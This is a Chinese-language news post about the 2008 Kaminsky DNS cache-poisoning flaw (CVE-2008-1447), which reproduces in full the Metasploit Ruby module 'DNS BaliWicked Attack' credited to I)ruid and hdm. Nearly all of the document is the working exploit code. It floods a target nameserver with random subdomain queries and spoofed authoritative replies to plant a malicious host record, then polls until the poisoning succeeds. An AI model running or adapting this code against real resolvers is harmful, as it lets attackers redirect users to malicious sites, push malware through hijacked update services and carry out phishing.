著名黑客HD Moore已经率先公布了可用代码.利用这段代码可以对DNS服务器进行投毒,将一条恶意纪录植入目标服务器,该服务器将随机发起域名查询,此时攻击者可以提供伪造的响应,将域名服务器中的纪录指向其特定站点.
这个漏洞攻击可以默默的改变用户的升级服务下载恶意软件,IOActive研究者Dan Kaminsky很早发现漏洞并且无意中这周公布了漏洞使得开发出攻击代码.infoworld.com网站也提醒了这个攻击导致的网络钓鱼欺骗的问题.
源代码如下:
1 | require 'msf/core' |
---|---|
2 | require 'net/dns' |
3 | require 'scruby' |
4 | require 'resolv' |
5 | |
6 | module Msf |
7 | |
8 | class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary |
9 | |
10 | include Exploit::Remote::Ip |
11 | |
12 | def initialize(info = {}) |
13 | super(update_info(info, |
14 | 'Name' => 'DNS BaliWicked Attack', |
15 | 'Description' => %q{ |
16 | This exploit attacks a fairly ubiquitous flaw in DNS implementations which |
17 | Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single |
18 | malicious host entry into the target nameserver by sending random sub-domain |
19 | queries to the target DNS server coupled with spoofed replies to those |
20 | queries from the authoritative nameservers for the domain which contain a |
21 | malicious host entry for the hostname to be poisoned in the authority and |
22 | additional records sections. Eventually, a guessed ID will match and the |
23 | spoofed packet will get accepted, and due to the additional hostname entry |
24 | being within baliwick constraints of the original request the malicious host |
25 | entry will get cached. |
26 | }, |
27 | 'Author' => [ 'I)ruid', 'hdm' ], |
28 | 'License' => MSF_LICENSE, |
29 | 'Version' => '$Revision$', |
30 | 'References' => |
31 | [ |
32 | [ 'CVE', '2008-1447' ], |
33 | [ 'US-CERT-VU', '8000113' ], |
34 | [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ], |
35 | ], |
36 | 'Privileged' => true, |
37 | 'Targets' => |
38 | [ |
39 | ["BIND", |
40 | { |
41 | 'Arch' => ARCH_X86, |
42 | 'Platform' => 'linux', |
43 | }, |
44 | ], |
45 | ], |
46 | 'DisclosureDate' => 'Jul 21 2008' |
47 | )) |
48 | |
49 | register_options( |
50 | [ |
51 | OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), |
52 | OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']), |
53 | OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), |
54 | OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), |
55 | OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), |
56 | OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), |
57 | ], self.class) |
58 | |
59 | end |
60 | |
61 | def auxiliary_commands |
62 | return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } |
63 | end |
64 | |
65 | def cmd_check(*args) |
66 | targ = args[0] || rhost() |
67 | if(not (targ and targ.length > 0)) |
68 | print_status("usage: check [dns-server]") |
69 | return |
70 | end |
71 | |
72 | print_status("Using the Metasploit service to verify exploitability...") |
73 | srv_sock = Rex::Socket.create_udp( |
74 | 'PeerHost' => targ, |
75 | 'PeerPort' => 53 |
76 | ) |
77 | |
78 | random = false |
79 | ports = [] |
80 | lport = nil |
81 | |
82 | 1.upto(5) do |i| |
83 | |
84 | req = Resolv::DNS::Message.new |
85 | txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
86 | req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
87 | req.rd = 1 |
88 | |
89 | srv_sock.put(req.encode) |
90 | res, addr = srv_sock.recvfrom() |
91 | |
92 | |
93 | if res and res.length > 0 |
94 | res = Resolv::DNS::Message.decode(res) |
95 | res.each_answer do |name, ttl, data| |
96 | if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m) |
97 | t_addr, t_port = $1.split(':') |
98 | |
99 | print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") |
100 | t_port = t_port.to_i |
101 | if(lport and lport != t_port) |
102 | random = true |
103 | end |
104 | lport = t_port |
105 | ports << t_port |
106 | end |
107 | end |
108 | end |
109 | end |
110 | |
111 | srv_sock.close |
112 | |
113 | if(ports.length < 5) |
114 | print_status("UNKNOWN: This server did not reply to our vulnerability check requests") |
115 | return |
116 | end |
117 | |
118 | if(random) |
119 | print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") |
120 | print_status(" This server may still be exploitable, but not by this tool.") |
121 | else |
122 | print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") |
123 | end |
124 | end |
125 | |
126 | def run |
127 | target = rhost() |
128 | source = Rex::Socket.source_address(target) |
129 | sport = datastore['SRCPORT'] |
130 | hostname = datastore['HOSTNAME'] + '.' |
131 | address = datastore['NEWADDR'] |
132 | recons = datastore['RECONS'] |
133 | xids = datastore['XIDS'].to_i |
134 | ttl = datastore['TTL'].to_i |
135 | |
136 | domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0] |
137 | |
138 | srv_sock = Rex::Socket.create_udp( |
139 | 'PeerHost' => target, |
140 | 'PeerPort' => 53 |
141 | ) |
142 | |
143 | # Get the source port via the metasploit service if it's not set |
144 | if sport.to_i == 0 |
145 | req = Resolv::DNS::Message.new |
146 | txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" |
147 | req.add_question(txt, Resolv::DNS::Resource::IN::TXT) |
148 | req.rd = 1 |
149 | |
150 | srv_sock.put(req.encode) |
151 | res, addr = srv_sock.recvfrom() |
152 | |
153 | if res and res.length > 0 |
154 | res = Resolv::DNS::Message.decode(res) |
155 | res.each_answer do |name, ttl, data| |
156 | if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m) |
157 | t_addr, t_port = $1.split(':') |
158 | sport = t_port.to_i |
159 | |
160 | print_status("Switching to target port #{sport} based on Metasploit service") |
161 | if target != t_addr |
162 | print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") |
163 | end |
164 | end |
165 | end |
166 | end |
167 | end |
168 | |
169 | # Verify its not already cached |
170 | begin |
171 | query = Resolv::DNS::Message.new |
172 | query.add_question(hostname, Resolv::DNS::Resource::IN::A) |
173 | query.rd = 0 |
174 | |
175 | begin |
176 | cached = false |
177 | srv_sock.put(query.encode) |
178 | answer, addr = srv_sock.recvfrom() |
179 | |
180 | if answer and answer.length > 0 |
181 | answer = Resolv::DNS::Message.decode(answer) |
182 | answer.each_answer do |name, ttl, data| |
183 | if((name.to_s + ".") == hostname and data.address.to_s == address) |
184 | t = Time.now + ttl |
185 | print_status("Failure: This hostname is already in the target cache: #{name} == #{address}") |
186 | print_status(" Cache entry expires on #{t.to_s}... sleeping.") |
187 | cached = true |
188 | sleep ttl |
189 | end |
190 | end |
191 | end |
192 | end until not cached |
193 | rescue ::Interrupt |
194 | raise $! |
195 | rescue ::Exception => e |
196 | print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") |
197 | end |
198 | |
199 | res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver |
200 | |
201 | print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" |
202 | |
203 | # Look up the nameservers for the domain |
204 | print_status "Querying recon nameserver for #{domain}'s nameservers..." |
205 | answer0 = res0.send(domain, Net::DNS::NS) |
206 | #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" |
207 | |
208 | barbs = [] # storage for nameservers |
209 | answer0.answer.each do |rr0| |
210 | print_status " Got an #{rr0.type} record: #{rr0.inspect}" |
211 | if rr0.type == 'NS' |
212 | print_status "Querying recon nameserver for address of #{rr0.nsdname}..." |
213 | answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname |
214 | #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" |
215 | answer1.answer.each do |rr1| |
216 | print_status " Got an #{rr1.type} record: #{rr1.inspect}" |
217 | res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) |
218 | print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." |
219 | answer2 = res2.send(domain) |
220 | if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 |
221 | nsrec = {:name => rr0.nsdname, :addr => rr1.address} |
222 | barbs << nsrec |
223 | print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" |
224 | end |
225 | end |
226 | end |
227 | end |
228 | |
229 | if barbs.length == 0 |
230 | print_status( "No DNS servers found.") |
231 | srv_sock.close |
232 | disconnect_ip |
233 | return |
234 | end |
235 | |
236 | # Flood the target with queries and spoofed responses, one will eventually hit |
237 | queries = 0 |
238 | responses = 0 |
239 | |
240 | connect_ip if not ip_sock |
241 | |
242 | print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") |
243 | |
244 | while true |
245 | randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname |
246 | |
247 | # Send spoofed query |
248 | req = Resolv::DNS::Message.new |
249 | req.id = rand(2**16) |
250 | req.add_question(randhost, Resolv::DNS::Resource::IN::A) |
251 | |
252 | req.rd = 1 |
253 | |
254 | buff = ( |
255 | Scruby::IP.new( |
256 | #:src => barbs[0][:addr].to_s, |
257 | :src => source, |
258 | :dst => target, |
259 | :proto => 17 |
260 | )/Scruby::UDP.new( |
261 | :sport => (rand((2**16)-1024)+1024).to_i, |
262 | :dport => 53 |
263 | )/req.encode |
264 | ).to_net |
265 | ip_sock.sendto(buff, target) |
266 | queries += 1 |
267 | |
268 | # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) |
269 | req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
270 | req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) |
271 | req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) |
272 | req.qr = 1 |
273 | req.ra = 1 |
274 | |
275 | p = rand(4)+2*10000 |
276 | p.upto(p+xids-1) do |id| |
277 | req.id = id |
278 | barbs.each do |barb| |
279 | buff = ( |
280 | Scruby::IP.new( |
281 | #:src => barbs[i][:addr].to_s, |
282 | :src => barb[:addr].to_s, |
283 | :dst => target, |
284 | :proto => 17 |
285 | )/Scruby::UDP.new( |
286 | :sport => 53, |
287 | :dport => sport.to_i |
288 | )/req.encode |
289 | ).to_net |
290 | ip_sock.sendto(buff, target) |
291 | responses += 1 |
292 | end |
293 | end |
294 | |
295 | # status update |
296 | if queries % 1000 == 0 |
297 | print_status("Sent #{queries} queries and #{responses} spoofed responses...") |
298 | end |
299 | |
300 | # every so often, check and see if the target is poisoned... |
301 | if queries % 250 == 0 |
302 | begin |
303 | query = Resolv::DNS::Message.new |
304 | query.add_question(hostname, Resolv::DNS::Resource::IN::A) |
305 | query.rd = 0 |
306 | |
307 | srv_sock.put(query.encode) |
308 | answer, addr = srv_sock.recvfrom() |
309 | |
310 | if answer and answer.length > 0 |
311 | answer = Resolv::DNS::Message.decode(answer) |
312 | answer.each_answer do |name, ttl, data| |
313 | if((name.to_s + ".") == hostname and data.address.to_s == address) |
314 | print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}") |
315 | disconnect_ip |
316 | return |
317 | end |
318 | end |
319 | end |
320 | rescue ::Interrupt |
321 | raise $! |
322 | rescue ::Exception => e |
323 | print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") |
324 | end |
325 | end |
326 | |
327 | end |
328 | |
329 | end |
330 | |
331 | end |
332 | end |